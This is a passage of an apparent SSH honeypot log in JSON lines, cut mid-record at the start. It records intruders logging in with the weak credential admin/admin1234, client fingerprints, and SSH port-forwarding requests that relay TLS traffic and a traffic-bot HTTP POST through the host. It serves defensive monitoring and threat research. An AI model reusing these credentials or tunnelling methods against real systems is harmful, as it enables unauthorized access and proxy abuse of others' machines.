,"rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:40.027514Z","src_ip":"23.175.50.52","session":"9321e06adbab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:40.188286Z","session":"1c9b42a5184b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:40.222896Z","src_ip":"173.208.192.194","session":"1c9b42a5184b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9f\\x8be~JYJ\\x1e\\xae\\x93\\xf0\\xab+\\x89\\xf49\\x8d\\xcc\\xd6\\xf4Y\\x1a\\xa7\\xd5-\\xc9\\xc9\\xdc+\\x7f\\x13, \\xd3\\xea\\xa3\\x85F\\xd6*\\xce\\xaf\\xf2~\\xdd\\xfb\\x9fC5Bz8\\x86\\x8e*\\xd7\\xaeI\\xf8\\x8aq\\xab\\x1c\\x99\\xff\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x19(\\xde\\xaf\\xd7\\xdcm%yiv\\xb0\\x10q\\x1a\\x85\\x85\\x9fci\\xcf\\xd7\\xfd9\\x91@\\xe2\\x80f\\xdd\\x1aN\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9f\\x8be~JYJ\\x1e\\xae\\x93\\xf0\\xab+\\x89\\xf49\\x8d\\xcc\\xd6\\xf4Y\\x1a\\xa7\\xd5-\\xc9\\xc9\\xdc+\\x7f\\x13, \\xd3\\xea\\xa3\\x85F\\xd6*\\xce\\xaf\\xf2~\\xdd\\xfb\\x9fC5Bz8\\x86\\x8e*\\xd7\\xaeI\\xf8\\x8aq\\xab\\x1c\\x99\\xff\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x19(\\xde\\xaf\\xd7\\xdcm%yiv\\xb0\\x10q\\x1a\\x85\\x85\\x9fci\\xcf\\xd7\\xfd9\\x91@\\xe2\\x80f\\xdd\\x1aN\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:40.226171Z","src_ip":"173.208.192.194","session":"1c9b42a5184b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:40.311337Z","session":"1c9b42a5184b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:40.370718Z","src_ip":"173.208.192.194","session":"1c9b42a5184b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbf\\xb9\\x00L\\xb9\\xec4\\x87\\xcd\\x8b\\x98\\xdcL\\x00\\x1f\\xe2\\xac\\x10`\\xaf.7B\\xa5\\xf5\\xc7\\xebG\\xc8\\xe5Y\\xc7 \\xdf\\xc5Gt98\\x02\\xbew\\xdc\\xdaiP\\xa8\\x8b\\x1e\\x9b!\\x01,\\xac2\\x01\\x9fe\\xdd\\xb7\\x87g\\xc57\\xfb\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 /9\\x1b\\xdbg\\nE\\n\\xabOu\\xcc#y\\x12\\x8a\\x99\\xee%P\\xf0m\\xf2fJ\\xb7\\xeb\\x0b\\xdbs+m\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbf\\xb9\\x00L\\xb9\\xec4\\x87\\xcd\\x8b\\x98\\xdcL\\x00\\x1f\\xe2\\xac\\x10`\\xaf.7B\\xa5\\xf5\\xc7\\xebG\\xc8\\xe5Y\\xc7 \\xdf\\xc5Gt98\\x02\\xbew\\xdc\\xdaiP\\xa8\\x8b\\x1e\\x9b!\\x01,\\xac2\\x01\\x9fe\\xdd\\xb7\\x87g\\xc57\\xfb\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 /9\\x1b\\xdbg\\nE\\n\\xabOu\\xcc#y\\x12\\x8a\\x99\\xee%P\\xf0m\\xf2fJ\\xb7\\xeb\\x0b\\xdbs+m\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:40.375198Z","src_ip":"173.208.192.194","session":"1c9b42a5184b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:41.367871Z","src_ip":"23.175.50.52","session":"9321e06adbab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.6","message":"Connection lost after 33.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:44.115110Z","src_ip":"23.175.50.52","session":"b6f73488869f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":54364,"dst_ip":"10.17.0.5","dst_port":22,"session":"be81fdf235fb","protocol":"ssh","message":"New connection: 113.164.152.20:54364 (10.17.0.5:22) [session: be81fdf235fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:46.191886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:46.195439Z","src_ip":"113.164.152.20","session":"be81fdf235fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:46.484652Z","src_ip":"113.164.152.20","session":"be81fdf235fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.7","message":"Connection lost after 13.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:47.335719Z","src_ip":"173.208.192.194","session":"1c9b42a5184b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:47.738562Z","src_ip":"113.164.152.20","session":"be81fdf235fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:48.104387Z","session":"9321e06adbab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:48.159096Z","session":"be81fdf235fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:48.164315Z","src_ip":"23.175.50.52","session":"9321e06adbab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RTQmPjUrJnp2b0tGVU5QKg%3D%3DqtC9ZGVTf4IesdPIWncXbIQlrVje%2B0YuwAjf8CCe8VjT1FKevIzFU0%2BN3d9mrKkHtUv%2BDBF15wKS8qxAOkxJBksfJfagcnX1kuSHLvE96uLsGWLMljR7h4EcYLh2mN4NFHEQYU8SbgYDGWuJsQazd0N2NA28S4UmAgGBHd3SD3fRq0l%2BpnEzSWumORS7QotUzBu%2FbxUA%2FGkbpRqr6VjtjTfwr2ok6WhiX3Fwz0u5XSZNsXEWTo1ZV0Bn%2FDvE60dHER6RJqDFX7ELVQPR2W7OXb2KChN%2BalBe9IJ%2B1fhMBPqkMAHpJC%2BsoXdzSAxVr%2FxhU3%2B3sDkvmCnsiSMtVsW24s%2FCegY9obPw0eJxOZyxqIR5ZpBO9Vefg5tJ8s%2FV9%2FTSTGChgElr25EXc85pQ3BhMzIayHDBOEPCoEvZyk7gBAeS%2Bf2EKKwXpCEN9t1tvpk2Ht8R1W1S3x8rmFeXp846KO3CPBl2vjaRpOEq6%2FGNwqO%2FgCO94xoAji%2Fa8n1qx68eXdzStHiSxlOU3EunYgE5BsNFPT4u9hlYq4PbtIiVsvyHYiFPml%2FK9953CqiuBb4Sr2sIaej19qJ1BuxHwqymc17nTZNxBCx1REJB%2BFFaKnF7LQ8BBsFnGK4SOAiVtB8LwbOEQ9xW4kPQj4bWgbafOenQDLUXzEZAf8cFSxo%2BjYrXOF%2FtalVZUqudXlQ9Gb%2BiMCnSCWs4mWQGOBvQFjgVA2vWPknNvqwzYSgVoGuJsfM2F4hBCfmbe1XwNhJi8nDdMfbhPSm1L0HaLe%2BAoS4XmDjeQKvZ4TYJs4pJrDcrpiQdtpMKv9ar4c6WfU2cFiFOk6rzgNtOxnXd9Fn0hdaH6Had9foaTcZNxrPklCaxDXRx3BPHFMyPWxeyywuWyYbXf1CA2PsBgSabYxprCY9kS7G1L8mKtOJt1asdV4AfFSS2bOQq%2FlYMnE%2BeostXftdlPvad52UAxwLv8XDxzfekLLCRbAXCDzB8XRZ3SexqfBB92ztJR%2BMVuokPscQXaicru%2BAuzUA7jNZ0eH6sXZanYAkIDeq0C5qDaY5qwcLBfj8SXtTtwPl1R6zkBiKCs1Dk'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RTQmPjUrJnp2b0tGVU5QKg%3D%3DqtC9ZGVTf4IesdPIWncXbIQlrVje%2B0YuwAjf8CCe8VjT1FKevIzFU0%2BN3d9mrKkHtUv%2BDBF15wKS8qxAOkxJBksfJfagcnX1kuSHLvE96uLsGWLMljR7h4EcYLh2mN4NFHEQYU8SbgYDGWuJsQazd0N2NA28S4UmAgGBHd3SD3fRq0l%2BpnEzSWumORS7QotUzBu%2FbxUA%2FGkbpRqr6VjtjTfwr2ok6WhiX3Fwz0u5XSZNsXEWTo1ZV0Bn%2FDvE60dHER6RJqDFX7ELVQPR2W7OXb2KChN%2BalBe9IJ%2B1fhMBPqkMAHpJC%2BsoXdzSAxVr%2FxhU3%2B3sDkvmCnsiSMtVsW24s%2FCegY9obPw0eJxOZyxqIR5ZpBO9Vefg5tJ8s%2FV9%2FTSTGChgElr25EXc85pQ3BhMzIayHDBOEPCoEvZyk7gBAeS%2Bf2EKKwXpCEN9t1tvpk2Ht8R1W1S3x8rmFeXp846KO3CPBl2vjaRpOEq6%2FGNwqO%2FgCO94xoAji%2Fa8n1qx68eXdzStHiSxlOU3EunYgE5BsNFPT4u9hlYq4PbtIiVsvyHYiFPml%2FK9953CqiuBb4Sr2sIaej19qJ1BuxHwqymc17nTZNxBCx1REJB%2BFFaKnF7LQ8BBsFnGK4SOAiVtB8LwbOEQ9xW4kPQj4bWgbafOenQDLUXzEZAf8cFSxo%2BjYrXOF%2FtalVZUqudXlQ9Gb%2BiMCnSCWs4mWQGOBvQFjgVA2vWPknNvqwzYSgVoGuJsfM2F4hBCfmbe1XwNhJi8nDdMfbhPSm1L0HaLe%2BAoS4XmDjeQKvZ4TYJs4pJrDcrpiQdtpMKv9ar4c6WfU2cFiFOk6rzgNtOxnXd9Fn0hdaH6Had9foaTcZNxrPklCaxDXRx3BPHFMyPWxeyywuWyYbXf1CA2PsBgSabYxprCY9kS7G1L8mKtOJt1asdV4AfFSS2bOQq%2FlYMnE%2BeostXftdlPvad52UAxwLv8XDxzfekLLCRbAXCDzB8XRZ3SexqfBB92ztJR%2BMVuokPscQXaicru%2BAuzUA7jNZ0eH6sXZanYAkIDeq0C5qDaY5qwcLBfj8SXtTtwPl1R6zkBiKCs1Dk'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:48.167129Z","src_ip":"23.175.50.52","session":"9321e06adbab","protocol":"ssh"}
